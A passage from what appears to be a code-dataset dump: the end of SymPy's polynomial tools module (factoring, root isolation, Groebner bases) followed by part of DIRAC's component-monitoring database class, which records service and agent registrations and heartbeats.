1, gaussian=True) (x - I)*(x + I) >>> factor(x**2 - 2, extension=sqrt(2)) (x - sqrt(2))*(x + sqrt(2)) >>> factor((x**2 - 1)/(x**2 + 4*x + 4)) (x - 1)*(x + 1)/(x + 2)**2 >>> factor((x**2 + 4*x + 4)**10000000*(x**2 + 1)) (x + 2)**20000000*(x**2 + 1) By default, factor deals with an expression as a whole: >>> eq = 2**(x**2 + 2*x + 1) >>> factor(eq) 2**(x**2 + 2*x + 1) If the ``deep`` flag is True then subexpressions will be factored: >>> factor(eq, deep=True) 2**((x + 1)**2) See Also ======== sympy.ntheory.factor_.factorint """ f = sympify(f) if args.pop('deep', False): partials = {} muladd = f.atoms(Mul, Add) for p in muladd: fac = factor(p, *gens, **args) if (fac.is_Mul or fac.is_Pow) and fac != p: partials[p] = fac return f.xreplace(partials) try: return _generic_factor(f, gens, args, method='factor') except PolynomialError, msg: if not f.is_commutative: from sympy.core.exprtools import factor_nc return factor_nc(f) else: raise PolynomialError(msg) def intervals(F, all=False, eps=None, inf=None, sup=None, strict=False, fast=False, sqf=False): """ Compute isolating intervals for roots of ``f``. Examples ======== >>> from sympy import intervals >>> from sympy.abc import x >>> intervals(x**2 - 3) [((-2, -1), 1), ((1, 2), 1)] >>> intervals(x**2 - 3, eps=1e-2) [((-26/15, -19/11), 1), ((19/11, 26/15), 1)] """ if not hasattr(F, '__iter__'): try: F = Poly(F) except GeneratorsNeeded: return [] return F.intervals(all=all, eps=eps, inf=inf, sup=sup, fast=fast, sqf=sqf) else: polys, opt = parallel_poly_from_expr(F, domain='QQ') if len(opt.gens) > 1: raise MultivariatePolynomialError for i, poly in enumerate(polys): polys[i] = poly.rep.rep if eps is not None: eps = opt.domain.convert(eps) if eps <= 0: raise ValueError("'eps' must be a positive rational") if inf is not None: inf = opt.domain.convert(inf) if sup is not None: sup = opt.domain.convert(sup) intervals = dup_isolate_real_roots_list(polys, opt.domain, eps=eps, inf=inf, sup=sup, strict=strict, fast=fast) result = [] for (s, t), indices in intervals: s, t = opt.domain.to_sympy(s), opt.domain.to_sympy(t) result.append(((s, t), indices)) return result def refine_root(f, s, t, eps=None, steps=None, fast=False, check_sqf=False): """ Refine an isolating interval of a root to the given precision. Examples ======== >>> from sympy import refine_root >>> from sympy.abc import x >>> refine_root(x**2 - 3, 1, 2, eps=1e-2) (19/11, 26/15) """ try: F = Poly(f) except GeneratorsNeeded: raise PolynomialError( "can't refine a root of %s, not a polynomial" % f) return F.refine_root(s, t, eps=eps, steps=steps, fast=fast, check_sqf=check_sqf) def count_roots(f, inf=None, sup=None): """ Return the number of roots of ``f`` in ``[inf, sup]`` interval. If one of ``inf`` or ``sup`` is complex, it will return the number of roots in the complex rectangle with corners at ``inf`` and ``sup``. Examples ======== >>> from sympy import count_roots, I >>> from sympy.abc import x >>> count_roots(x**4 - 4, -3, 3) 2 >>> count_roots(x**4 - 4, 0, 1 + 3*I) 1 """ try: F = Poly(f, greedy=False) except GeneratorsNeeded: raise PolynomialError("can't count roots of %s, not a polynomial" % f) return F.count_roots(inf=inf, sup=sup) def real_roots(f, multiple=True): """ Return a list of real roots with multiplicities of ``f``. Examples ======== >>> from sympy import real_roots >>> from sympy.abc import x >>> real_roots(2*x**3 - 7*x**2 + 4*x + 4) [-1/2, 2, 2] """ try: F = Poly(f, greedy=False) except GeneratorsNeeded: raise PolynomialError( "can't compute real roots of %s, not a polynomial" % f) return F.real_roots(multiple=multiple) def nroots(f, n=15, maxsteps=50, cleanup=True, error=False): """ Compute numerical approximations of roots of ``f``. Examples ======== >>> from sympy import nroots >>> from sympy.abc import x >>> nroots(x**2 - 3, n=15) [-1.73205080756888, 1.73205080756888] >>> nroots(x**2 - 3, n=30) [-1.73205080756887729352744634151, 1.73205080756887729352744634151] """ try: F = Poly(f, greedy=False) except GeneratorsNeeded: raise PolynomialError( "can't compute numerical roots of %s, not a polynomial" % f) return F.nroots(n=n, maxsteps=maxsteps, cleanup=cleanup, error=error) def ground_roots(f, *gens, **args): """ Compute roots of ``f`` by factorization in the ground domain. Examples ======== >>> from sympy import ground_roots >>> from sympy.abc import x >>> ground_roots(x**6 - 4*x**4 + 4*x**3 - x**2) {0: 2, 1: 2} """ options.allowed_flags(args, []) try: F, opt = poly_from_expr(f, *gens, **args) except PolificationFailed, exc: raise ComputationFailed('ground_roots', 1, exc) return F.ground_roots() def nth_power_roots_poly(f, n, *gens, **args): """ Construct a polynomial with n-th powers of roots of ``f``. Examples ======== >>> from sympy import nth_power_roots_poly, factor, roots >>> from sympy.abc import x >>> f = x**4 - x**2 + 1 >>> g = factor(nth_power_roots_poly(f, 2)) >>> g (x**2 - x + 1)**2 >>> R_f = [ (r**2).expand() for r in roots(f) ] >>> R_g = roots(g).keys() >>> set(R_f) == set(R_g) True """ options.allowed_flags(args, []) try: F, opt = poly_from_expr(f, *gens, **args) except PolificationFailed, exc: raise ComputationFailed('nth_power_roots_poly', 1, exc) result = F.nth_power_roots_poly(n) if not opt.polys: return result.as_expr() else: return result def cancel(f, *gens, **args): """ Cancel common factors in a rational function ``f``. Examples ======== >>> from sympy import cancel, sqrt, Symbol >>> from sympy.abc import x >>> A = Symbol('A', commutative=False) >>> cancel((2*x**2 - 2)/(x**2 - 2*x + 1)) (2*x + 2)/(x - 1) >>> cancel((sqrt(3) + sqrt(15)*A)/(sqrt(2) + sqrt(10)*A)) sqrt(6)/2 """ from sympy.core.exprtools import factor_terms options.allowed_flags(args, ['polys']) f = sympify(f) if not isinstance(f, (tuple, Tuple)): if f.is_Number: return f f = factor_terms(f, radical=True) p, q = f.as_numer_denom() elif len(f) == 2: p, q = f elif isinstance(f, Tuple): return factor_terms(f) else: raise ValueError('unexpected argument: %s' % f) try: (F, G), opt = parallel_poly_from_expr((p, q), *gens, **args) except PolificationFailed: if not isinstance(f, (tuple, Tuple)): return f else: return S.One, p, q except PolynomialError, msg: if f.is_commutative: raise PolynomialError(msg) # non-commutative if f.is_Mul: c, nc = f.args_cnc(split_1=False) nc = [cancel(i) for i in nc] return cancel(Mul._from_args(c))*Mul(*nc) elif f.is_Add: c = [] nc = [] for i in f.args: if i.is_commutative: c.append(i) else: nc.append(cancel(i)) return cancel(Add(*c)) + Add(*nc) else: reps = [] pot = preorder_traversal(f) pot.next() for e in pot: if isinstance(e, (tuple, Tuple)): continue try: reps.append((e, cancel(e))) pot.skip() # this was handled successfully except NotImplementedError: pass return f.xreplace(dict(reps)) c, P, Q = F.cancel(G) if not isinstance(f, (tuple, Tuple)): return c*(P.as_expr()/Q.as_expr()) else: if not opt.polys: return c, P.as_expr(), Q.as_expr() else: return c, P, Q def reduced(f, G, *gens, **args): """ Reduces a polynomial ``f`` modulo a set of polynomials ``G``. Given a polynomial ``f`` and a set of polynomials ``G = (g_1, ..., g_n)``, computes a set of quotients ``q = (q_1, ..., q_n)`` and the remainder ``r`` such that ``f = q_1*f_1 + ... + q_n*f_n + r``, where ``r`` vanishes or ``r`` is a completely reduced polynomial with respect to ``G``. Examples ======== >>> from sympy import reduced >>> from sympy.abc import x, y >>> reduced(2*x**4 + y**2 - x**2 + y**3, [x**3 - x, y**3 - y]) ([2*x, 1], x**2 + y**2 + y) """ options.allowed_flags(args, ['polys', 'auto']) try: polys, opt = parallel_poly_from_expr([f] + list(G), *gens, **args) except PolificationFailed, exc: raise ComputationFailed('reduced', 0, exc) domain = opt.domain retract = False if opt.auto and domain.has_Ring and not domain.has_Field: opt = opt.clone(dict(domain=domain.get_field())) retract = True from sympy.polys.rings import xring _ring, _ = xring(opt.gens, opt.domain, opt.order) for i, poly in enumerate(polys): poly = poly.set_domain(opt.domain).rep.to_dict() polys[i] = _ring.from_dict(poly) Q, r = polys[0].div(polys[1:]) Q = [ Poly._from_dict(dict(q), opt) for q in Q ] r = Poly._from_dict(dict(r), opt) if retract: try: _Q, _r = [ q.to_ring() for q in Q ], r.to_ring() except CoercionFailed: pass else: Q, r = _Q, _r if not opt.polys: return [ q.as_expr() for q in Q ], r.as_expr() else: return Q, r def groebner(F, *gens, **args): """ Computes the reduced Groebner basis for a set of polynomials. Use the ``order`` argument to set the monomial ordering that will be used to compute the basis. Allowed orders are ``lex``, ``grlex`` and ``grevlex``. If no order is specified, it defaults to ``lex``. For more information on Groebner bases, see the references and the docstring of `solve_poly_system()`. Examples ======== Example taken from [1]. >>> from sympy import groebner >>> from sympy.abc import x, y >>> F = [x*y - 2*y, 2*y**2 - x**2] >>> groebner(F, x, y, order='lex') GroebnerBasis([x**2 - 2*y**2, x*y - 2*y, y**3 - 2*y], x, y, domain='ZZ', order='lex') >>> groebner(F, x, y, order='grlex') GroebnerBasis([y**3 - 2*y, x**2 - 2*y**2, x*y - 2*y], x, y, domain='ZZ', order='grlex') >>> groebner(F, x, y, order='grevlex') GroebnerBasis([y**3 - 2*y, x**2 - 2*y**2, x*y - 2*y], x, y, domain='ZZ', order='grevlex') By default, an improved implementation of the Buchberger algorithm is used. Optionally, an implementation of the F5B algorithm can be used. The algorithm can be set using ``method`` flag or with the :func:`setup` function from :mod:`sympy.polys.polyconfig`: >>> F = [x**2 - x - 1, (2*x - 1) * y - (x**10 - (1 - x)**10)] >>> groebner(F, x, y, method='buchberger') GroebnerBasis([x**2 - x - 1, y - 55], x, y, domain='ZZ', order='lex') >>> groebner(F, x, y, method='f5b') GroebnerBasis([x**2 - x - 1, y - 55], x, y, domain='ZZ', order='lex') References ========== 1. [Buchberger01]_ 2. [Cox97]_ """ return GroebnerBasis(F, *gens, **args) def is_zero_dimensional(F, *gens, **args): """ Checks if the ideal generated by a Groebner basis is zero-dimensional. The algorithm checks if the set of monomials not divisible by the leading monomial of any element of ``F`` is bounded. References ========== David A. Cox, John B. Little, Donal O'Shea. Ideals, Varieties and Algorithms, 3rd edition, p. 230 """ return GroebnerBasis(F, *gens, **args).is_zero_dimensional class GroebnerBasis(Basic): """Represents a reduced Groebner basis. """ __slots__ = ['_basis', '_options'] def __new__(cls, F, *gens, **args): """Compute a reduced Groebner basis for a system of polynomials. """ options.allowed_flags(args, ['polys', 'method']) try: polys, opt = parallel_poly_from_expr(F, *gens, **args) except PolificationFailed, exc: raise ComputationFailed('groebner', len(F), exc) domain = opt.domain if domain.has_assoc_Field: opt.domain = domain.get_field() else: raise DomainError("can't compute a Groebner basis over %s" % opt.domain) from sympy.polys.rings import xring _ring, _ = xring(opt.gens, opt.domain, opt.order) for i, poly in enumerate(polys): poly = poly.set_domain(opt.domain).rep.to_dict() polys[i] = _ring.from_dict(poly) G = _groebner(polys, _ring, method=opt.method) G = [ Poly._from_dict(g, opt) for g in G ] if not domain.has_Field: G = [ g.clear_denoms(convert=True)[1] for g in G ] opt.domain = domain return cls._new(G, opt) @classmethod def _new(cls, basis, options): obj = Basic.__new__(cls) obj._basis = tuple(basis) obj._options = options return obj @property def args(self): return (Tuple(*self._basis), Tuple(*self._options.gens)) @property def exprs(self): return [ poly.as_expr() for poly in self._basis ] @property def polys(self): return list(self._basis) @property def gens(self): return self._options.gens @property def domain(self): return self._options.domain @property def order(self): return self._options.order def __len__(self): return len(self._basis) def __iter__(self): if self._options.polys: return iter(self.polys) else: return iter(self.exprs) def __getitem__(self, item): if self._options.polys: basis = self.polys else: basis = self.exprs return basis[item] def __hash__(self): return hash((self._basis, tuple(self._options.items()))) def __eq__(self, other): if isinstance(other, self.__class__): return self._basis == other._basis and self._options == other._options elif iterable(other): return self.polys == list(other) or self.exprs == list(other) else: return False def __ne__(self, other): return not self.__eq__(other) @property def is_zero_dimensional(self): """ Checks if the ideal generated by a Groebner basis is zero-dimensional. The algorithm checks if the set of monomials not divisible by the leading monomial of any element of ``F`` is bounded. References ========== David A. Cox, John B. Little, Donal O'Shea. Ideals, Varieties and Algorithms, 3rd edition, p. 230 """ def single_var(monomial): return sum(map(bool, monomial)) == 1 exponents = Monomial([0]*len(self.gens)) order = self._options.order for poly in self.polys: monomial = poly.LM(order=order) if single_var(monomial): exponents *= monomial # If any element of the exponents vector is zero, then there's # a variable for which there's no degree bound and the ideal # generated by this Groebner basis isn't zero-dimensional. return all(exponents) def fglm(self, order): """ Convert a Groebner basis from one ordering to another. The FGLM algorithm converts reduced Groebner bases of zero-dimensional ideals from one ordering to another. This method is often used when it is infeasible to compute a Groebner basis with respect to a particular ordering directly. Examples ======== >>> from sympy.abc import x, y >>> from sympy import groebner >>> F = [x**2 - 3*y - x + 1, y**2 - 2*x + y - 1] >>> G = groebner(F, x, y, order='grlex') >>> list(G.fglm('lex')) [2*x - y**2 - y + 1, y**4 + 2*y**3 - 3*y**2 - 16*y + 7] >>> list(groebner(F, x, y, order='lex')) [2*x - y**2 - y + 1, y**4 + 2*y**3 - 3*y**2 - 16*y + 7] References ========== J.C. Faugere, P. Gianni, D. Lazard, T. Mora (1994). Efficient Computation of Zero-dimensional Groebner Bases by Change of Ordering """ opt = self._options src_order = opt.order dst_order = monomial_key(order) if src_order == dst_order: return self if not self.is_zero_dimensional: raise NotImplementedError("can't convert Groebner bases of ideals with positive dimension") polys = list(self._basis) domain = opt.domain opt = opt.clone(dict( domain=domain.get_field(), order=dst_order, )) from sympy.polys.rings import xring _ring, _ = xring(opt.gens, opt.domain, src_order) for i, poly in enumerate(polys): poly = poly.set_domain(opt.domain).rep.to_dict() polys[i] = _ring.from_dict(poly) G = matrix_fglm(polys, _ring, dst_order) G = [ Poly._from_dict(dict(g), opt) for g in G ] if not domain.has_Field: G = [ g.clear_denoms(convert=True)[1] for g in G ] opt.domain = domain return self._new(G, opt) def reduce(self, expr, auto=True): """ Reduces a polynomial modulo a Groebner basis. Given a polynomial ``f`` and a set of polynomials ``G = (g_1, ..., g_n)``, computes a set of quotients ``q = (q_1, ..., q_n)`` and the remainder ``r`` such that ``f = q_1*f_1 + ... + q_n*f_n + r``, where ``r`` vanishes or ``r`` is a completely reduced polynomial with respect to ``G``. Examples ======== >>> from sympy import groebner, expand >>> from sympy.abc import x, y >>> f = 2*x**4 - x**2 + y**3 + y**2 >>> G = groebner([x**3 - x, y**3 - y]) >>> G.reduce(f) ([2*x, 1], x**2 + y**2 + y) >>> Q, r = _ >>> expand(sum(q*g for q, g in zip(Q, G)) + r) 2*x**4 - x**2 + y**3 + y**2 >>> _ == f True """ poly = Poly._from_expr(expr, self._options) polys = [poly] + list(self._basis) opt = self._options domain = opt.domain retract = False if auto and domain.has_Ring and not domain.has_Field: opt = opt.clone(dict(domain=domain.get_field())) retract = True from sympy.polys.rings import xring _ring, _ = xring(opt.gens, opt.domain, opt.order) for i, poly in enumerate(polys): poly = poly.set_domain(opt.domain).rep.to_dict() polys[i] = _ring.from_dict(poly) Q, r = polys[0].div(polys[1:]) Q = [ Poly._from_dict(dict(q), opt) for q in Q ] r = Poly._from_dict(dict(r), opt) if retract: try: _Q, _r = [ q.to_ring() for q in Q ], r.to_ring() except CoercionFailed: pass else: Q, r = _Q, _r if not opt.polys: return [ q.as_expr() for q in Q ], r.as_expr() else: return Q, r def contains(self, poly): """ Check if ``poly`` belongs the ideal generated by ``self``. Examples ======== >>> from sympy import groebner >>> from sympy.abc import x, y >>> f = 2*x**3 + y**3 + 3*y >>> G = groebner([x**2 + y**2 - 1, x*y - 2]) >>> G.contains(f) True >>> G.contains(f + 1) False """ return self.reduce(poly)[1] == 0 def poly(expr, *gens, **args): """ Efficiently transform an expression into a polynomial. Examples ======== >>> from sympy import poly >>> from sympy.abc import x >>> poly(x*(x**2 + x - 1)**2) Poly(x**5 + 2*x**4 - x**3 - 2*x**2 + x, x, domain='ZZ') """ options.allowed_flags(args, []) def _poly(expr, opt): terms, poly_terms = [], [] for term in Add.make_args(expr): factors, poly_factors = [], [] for factor in Mul.make_args(term): if factor.is_Add: poly_factors.append(_poly(factor, opt)) elif factor.is_Pow and factor.base.is_Add and factor.exp.is_Integer: poly_factors.append( _poly(factor.base, opt).pow(factor.exp)) else: factors.append(factor) if not poly_factors: terms.append(term) else: product = poly_factors[0] for factor in poly_factors[1:]: product = product.mul(factor) if factors: factor = Mul(*factors) if factor.is_Number: product = product.mul(factor) else: product = product.mul(Poly._from_expr(factor, opt)) poly_terms.append(product) if not poly_terms: result = Poly._from_expr(expr, opt) else: result = poly_terms[0] for term in poly_terms[1:]: result = result.add(term) if terms: term = Add(*terms) if term.is_Number: result = result.add(term) else: result = result.add(Poly._from_expr(term, opt)) return result.reorder(*opt.get('gens', ()), **args) expr = sympify(expr) if expr.is_Poly: return Poly(expr, *gens, **args) if 'expand' not in args: args['expand'] = False opt = options.build_options(gens, args) return _poly(expr, opt)
lidavidm/mathics-heroku
venv/lib/python2.7/site-packages/sympy/polys/polytools.py
Python
gpl-3.0
163,118
[ "Gaussian" ]
e206e823fb921a07b4ac85dda4300a7ab312168ce8634747d1e7e1dabd11269d
""" ComponentMonitoring class is a front-end to the Component monitoring Database """ __RCSID__ = "$Id$" import random import types from DIRAC import gConfig, S_OK, S_ERROR from DIRAC.Core.Base.DB import DB from DIRAC.Core.Utilities import Time, List, Network class ComponentMonitoringDB( DB ): def __init__( self, useMyProxy = False, maxQueueSize = 10 ): DB.__init__( self, 'ComponentMonitoringDB', 'Framework/ComponentMonitoringDB', maxQueueSize ) random.seed() retVal = self.__initializeDB() if not retVal[ 'OK' ]: raise Exception( "Can't create tables: %s" % retVal[ 'Message' ] ) self.__optionalFields = ( 'startTime', 'cycles', 'version', 'queries', 'DIRACVersion', 'description', 'platform' ) self.__mainFields = ( "Id", "Setup", "Type", "ComponentName", "Host", "Port", "StartTime", "LastHeartbeat", "cycles", "queries", "LoggingState" ) self.__versionFields = ( 'VersionTimestamp', 'Version', 'DIRACVersion', 'Platform', 'Description' ) def getOptionalFields( self ): return self.__optionalFields def __getTableName( self, name ): return "compmon_%s" % name def __initializeDB( self ): """ Create the tables """ retVal = self._query( "show tables" ) if not retVal[ 'OK' ]: return retVal tablesInDB = [ t[0] for t in retVal[ 'Value' ] ] tablesD = {} tN = self.__getTableName( "Components" ) if tN not in tablesInDB: tablesD[ tN ] = { 'Fields' : { 'Id' : 'INTEGER AUTO_INCREMENT NOT NULL', 'ComponentName' : 'VARCHAR(255) NOT NULL', 'Setup' : 'VARCHAR(255) NOT NULL', 'Type' : 'ENUM ( "service", "agent" ) NOT NULL', 'Host' : 'VARCHAR(255) NOT NULL', 'Port' : 'INTEGER DEFAULT 0', 'LastHeartbeat' : 'DATETIME NOT NULL', 'StartTime' : 'DATETIME NOT NULL', 'LoggingState' : 'VARCHAR(64) DEFAULT "unknown"', 'Cycles' : 'INTEGER', 'Queries' : 'INTEGER' }, 'PrimaryKey' : 'Id', 'Indexes' : { 'ComponentIndex' : [ 'ComponentName', 'Setup', 'Host', 'Port' ], 'TypeIndex' : [ 'Type' ], } } tN = self.__getTableName( "VersionHistory" ) if tN not in tablesInDB: tablesD[ tN ] = { 'Fields' : { 'CompId' : 'INTEGER NOT NULL', 'VersionTimestamp' : 'DATETIME NOT NULL', 'Version' : 'VARCHAR(255)', 'DIRACVersion' : 'VARCHAR(255) NOT NULL', 'Platform' : 'VARCHAR(255) NOT NULL', 'Description' : 'BLOB', }, 'Indexes' : { 'Component' : [ 'CompId' ] } } result = self._createTables( tablesD ) if result['OK'] and result['Value']: self.log.info( "ComponentMonitoringDB: created tables %s" % result['Value'] ) return result def __datetime2str( self, dt ): if type( dt ) == types.StringType: return dt return "%s-%s-%s %s:%s:%s" % ( dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second ) def __registerIfNotThere( self, compDict ): """ Register the component if it's not there """ sqlCond = [] sqlInsertFields = [] sqlInsertValues = [] tableName = self.__getTableName( "Components" ) for field in ( 'componentName', 'setup', 'type', 'host', 'port' ): if field not in compDict: if field == 'port': continue return S_ERROR( "Missing %s field in the component dict" % field ) value = compDict[ field ] field = field.capitalize() sqlInsertFields.append( field ) sqlInsertValues.append( "'%s'" % value ) sqlCond.append( "%s = '%s'" % ( field, value ) ) compLogName = ":".join( sqlInsertValues ).replace( "'", "" ) self.log.info( "Trying to register %s" % compLogName ) result = self._query( "SELECT id FROM `%s` WHERE %s" % ( tableName, " AND ".join( sqlCond ) ) ) if not result[ 'OK' ]: self.log.error( "Cannot register %s: %s" % ( compLogName, result[ 'Message' ] ) ) return result if len( result[ 'Value' ] ): compId = result[ 'Value' ][0][0] self.log.info( "%s has compId %s" % ( compLogName, compId ) ) return S_OK( compId ) #It's not there, we just need to insert it sqlInsertFields.append( "LastHeartbeat" ) sqlInsertValues.append( "UTC_TIMESTAMP()" ) if 'startTime' in compDict: sqlInsertFields.append( "StartTime" ) val = compDict[ 'startTime' ] if type( val ) in Time._allDateTypes: val = self.__datetime2str( val ) sqlInsertValues.append( "'%s'" % val ) for field in ( 'cycles', 'queries' ): if field not in compDict: compDict[ field ] = 0 value = compDict[ field ] field = field.capitalize() sqlInsertFields.append( field ) sqlInsertValues.append( str( value ) ) self.log.info( "Registering component %s" % compLogName ) result = self._update( "INSERT INTO `%s` ( %s ) VALUES ( %s )" % ( tableName, ", ".join( sqlInsertFields ), ", ".join( sqlInsertValues ) ) ) if not result[ 'OK' ]: return result compId = result[ 'lastRowId' ] self.log.info( "%s has compId %s" % ( compLogName, compId ) ) return S_OK( compId ) def __updateVersionHistoryIfNeeded( self, compId, compDict ): """ Register the component if it's not there """ sqlCond = [ "CompId=%s" % compId ] sqlInsertFields = [] sqlInsertValues = [] tableName = self.__getTableName( "VersionHistory" ) for field in ( 'version', 'DIRACVersion', 'platform' ): if field not in compDict: return S_ERROR( "Missing %s field in the component dict" % field ) value = compDict[ field ] field = field.capitalize() sqlInsertFields.append( field ) sqlInsertValues.append( "'%s'" % value ) sqlCond.append( "%s = '%s'" % ( field, value ) ) result = self._query( "SELECT CompId FROM `%s` WHERE %s" % ( tableName, " AND ".join( sqlCond ) ) ) if not result[ 'OK' ]: return result if len( result[ 'Value' ] ): return S_OK( compId ) #It's not there, we just need to insert it sqlInsertFields.append( 'CompId' ) sqlInsertValues.append( str( compId ) ) sqlInsertFields.append( 'VersionTimestamp' ) sqlInsertValues.append( 'UTC_TIMESTAMP()' ) if 'description' in compDict: sqlInsertFields.append( "Description" ) result = self._escapeString( compDict[ 'description' ] ) if not result[ 'OK' ]: return result sqlInsertValues.append( result[ 'Value' ] ) result = self._update( "INSERT INTO `%s` ( %s ) VALUES ( %s )" % ( tableName, ", ".join( sqlInsertFields ), ", ".join( sqlInsertValues ) ) ) if not result[ 'OK' ]: return result return S_OK( compId ) def registerComponent( self, compDict, shallow = False ): """ Register a new component in the DB. If it's already registered return id """ result = self.__registerIfNotThere( compDict ) if not result[ 'OK' ]: return result compId = result[ 'Value' ] if shallow: return S_OK( compId ) #Check if something has changed in the version history result = self.__updateVersionHistoryIfNeeded( compId, compDict ) if not result[ 'OK' ]: return result return S_OK( compId ) def heartbeat( self, compDict ): """ Update heartbeat """ if 'compId' not in compDict: result = self.__registerIfNotThere( compDict ) if not result[ 'OK' ]: return result compId = result[ 'Value' ] compDict[ 'compId' ] = compId sqlUpdateFields = [ 'LastHeartbeat=UTC_TIMESTAMP()' ] for field in ( 'cycles', 'queries' ): value = 0 if field in compDict: value = compDict[ field ] sqlUpdateFields.append( "%s=%s" % ( field.capitalize(), value ) ) if 'startTime' in compDict: sqlUpdateFields.append( "StartTime='%s'" % self.__datetime2str( compDict[ 'startTime' ] ) ) return self._update( "UPDATE `%s` SET %s WHERE Id=%s" % ( self.__getTableName( "Components" ), ", ".join( sqlUpdateFields ), compDict[ 'compId' ] ) ) def __getComponents( self, condDict ): """ Load the components in the DB """ compTable = self.__getTableName( "Components" ) mainFields = ", ".join( self.__mainFields ) versionTable = self.__getTableName( "VersionHistory" ) versionFields = ", ".join( self.__versionFields ) sqlWhere = [] for field in condDict: val = condDict[ field ] if type( val ) == types.StringType: sqlWhere.append( "%s='%s'" % ( field, val ) ) elif type( val ) in ( types.IntType, types.LongType, types.FloatType ): sqlWhere.append( "%s='%s'" % ( field, val ) ) else: sqlWhere.append( "( %s )" % " OR ".join( [ "%s='%s'" % ( field, v ) for v in val ] ) ) if sqlWhere: sqlWhere = "WHERE %s" % " AND ".join( sqlWhere ) else: sqlWhere = "" result = self._query( "SELECT %s FROM `%s` %s" % ( mainFields, compTable, sqlWhere ) ) if not result[ 'OK' ]: return result records = [] dbData = result[ 'Value' ] for record in dbData: rD = {} for i in range( len( self.__mainFields ) ): rD[ self.__mainFields[i] ] = record[i] result = self._query( "SELECT %s FROM `%s` WHERE CompId=%s ORDER BY VersionTimestamp DESC LIMIT 1" % ( versionFields, versionTable, rD[ 'Id' ] ) ) if not result[ 'OK' ]: return result if len( result[ 'Value' ] ) > 0: versionRec = result[ 'Value' ][0] for i in range( len( self.__versionFields ) ): rD[ self.__versionFields[i] ] = versionRec[i] del( rD[ 'Id' ] ) records.append( rD ) return S_OK( StatusSet( records ) ) def __checkCondition( self, condDict, field, value ): if field not in condDict: return True condVal = condDict[ field ] if type( condVal ) in ( types.ListType, types.TupleType ): return value in condVal return value == condVal def __getComponentDefinitionFromCS( self, system, setup, instance, cType, component ): componentName = "%s/%s" % ( system, component ) compDict = { 'ComponentName' : componentName, 'Type' : cType, 'Setup' : setup } componentSection = "/Systems/%s/%s/%s/%s" % ( system, instance, "%ss" % cType.capitalize(), component ) compStatus = gConfig.getValue( "%s/Status" % componentSection, 'Active' ) if compStatus.lower() in ( "inactive", ): compDict[ 'Status' ] = compStatus.lower().capitalize() if cType == 'service': result = gConfig.getOption( "%s/Port" % componentSection ) if not result[ 'OK' ]: compDict[ 'Status' ] = 'Error' compDict[ 'Message' ] = "Component seems to be defined wrong in CS: %s" % result[ 'Message' ] return compDict try: compDict[ 'Port' ] = int( result[ 'Value' ] ) except: compDict[ 'Status' ] = 'Error' compDict[ 'Message' ] = "Port for component doesn't seem to be a number" return compDict return compDict def __componentMatchesCondition( self, compDict, requiredComponents, conditionDict = {} ): for key in compDict: if not self.__checkCondition( conditionDict, key, compDict[key] ): return False return True def getComponentsStatus( self, conditionDict = {} ): """ Get the status of the defined components in the CS compared to the ones that are known in the DB """ result = self.__getComponents( conditionDict ) if not result[ 'OK' ]: return result statusSet = result[ 'Value' ] requiredComponents = {} result = gConfig.getSections( "/DIRAC/Setups" ) if not result[ 'OK' ]: return result for setup in result[ 'Value' ]: if not self.__checkCondition( conditionDict, "Setup", setup ): continue #Iterate through systems result = gConfig.getOptionsDict( "/DIRAC/Setups/%s" % setup ) if not result[ 'OK' ]: return result systems = result[ 'Value' ] for system in systems: instance = systems[ system ] #Check defined agents and serviecs for cType in ( 'agent' , 'service' ): #Get entries for the instance of a system result = gConfig.getSections( "/Systems/%s/%s/%s" % ( system, instance, "%ss" % cType.capitalize() ) ) if not result[ 'OK' ]: self.log.warn( "Opps, sytem seems to be defined wrong\n", "System %s at %s: %s" % ( system, instance, result[ 'Message' ] ) ) continue components = result[ 'Value' ] for component in components: componentName = "%s/%s" % ( system, component ) compDict = self.__getComponentDefinitionFromCS( system, setup, instance, cType, component ) if self.__componentMatchesCondition( compDict, requiredComponents, conditionDict ): statusSet.addUniqueToSet( requiredComponents, compDict ) #Walk the URLs result = gConfig.getOptionsDict( "/Systems/%s/%s/URLs" % ( system, instance ) ) if not result[ 'OK' ]: self.log.warn ( "There doesn't to be defined the URLs section for %s in %s instance" % ( system, instance ) ) else: serviceURLs = result[ 'Value' ] for service in serviceURLs: for url in List.fromChar( serviceURLs[ service ] ): loc = url[ url.find( "://" ) + 3: ] iS = loc.find( "/" ) componentName = loc[ iS + 1: ] loc = loc[ :iS ] hostname, port = loc.split( ":" ) compDict = { 'ComponentName' : componentName, 'Type' : 'service', 'Setup' : setup, 'Host' : hostname, 'Port' : int( port ) } if self.__componentMatchesCondition( compDict, requiredComponents, conditionDict ): statusSet.addUniqueToSet( requiredComponents, compDict ) #WALK THE DICT statusSet.setComponentsAsRequired( requiredComponents ) return S_OK( ( statusSet.getRequiredComponents(), self.__mainFields[1:] + self.__versionFields + ( 'Status', 'Message' ) ) ) class StatusSet: def __init__( self, dbRecordsList = [] ): self.__requiredSet = {} self.__requiredFields = ( 'Setup', 'Type', 'ComponentName' ) self.__maxSecsSinceHeartbeat = 600 self.setDBRecords( dbRecordsList ) def setDBRecords( self, recordsList ): self.__dbSet = {} for record in recordsList: cD = self.walkSet( self.__dbSet, record ) cD.append( record ) return S_OK() def addUniqueToSet( self, setDict, compDict ): rC = self.walkSet( setDict, compDict ) if compDict not in rC: rC.append( compDict ) inactive = False for cD in rC: if 'Status' in cD and cD[ 'Status' ] == 'Inactive': inactive = True break if inactive: for cD in rC: cD[ 'Status' ] = 'Inactive' def walkSet( self, setDict, compDict, createMissing = True ): sD = setDict for field in self.__requiredFields: val = compDict[ field ] if val not in sD: if not createMissing: return None if field == self.__requiredFields[-1]: sD[ val ] = [] else: sD[ val ] = {} sD = sD[ val ] return sD def __reduceComponentList( self, componentList ): """ Only keep the most restrictive components """ for i in range( len( componentList ) ): component = componentList[i] for j in range( len( componentList ) ): if i == j or componentList[j] == False : continue potentiallyMoreRestrictiveComponent = componentList[j] match = True for key in component: if key not in potentiallyMoreRestrictiveComponent: match = False break if key == 'Host': result = Network.checkHostsMatch( component[key], potentiallyMoreRestrictiveComponent[key] ) if not result[ 'OK' ] or not result[ 'Value' ]: match = False break else: if component[key] != potentiallyMoreRestrictiveComponent[key]: match = False break if match: componentList[i] = False break return [ comp for comp in componentList if comp != False ] def setComponentsAsRequired( self, requiredSet ): for setup in requiredSet: for cType in requiredSet[ setup ]: for name in requiredSet[ setup ][ cType ]: #Need to narrow down required cDL = requiredSet[ setup ][ cType ][ name ] cDL = self.__reduceComponentList( cDL ) self.__setComponentListAsRequired( cDL ) def __setComponentListAsRequired( self, compDictList ): dbD = self.walkSet( self.__dbSet, 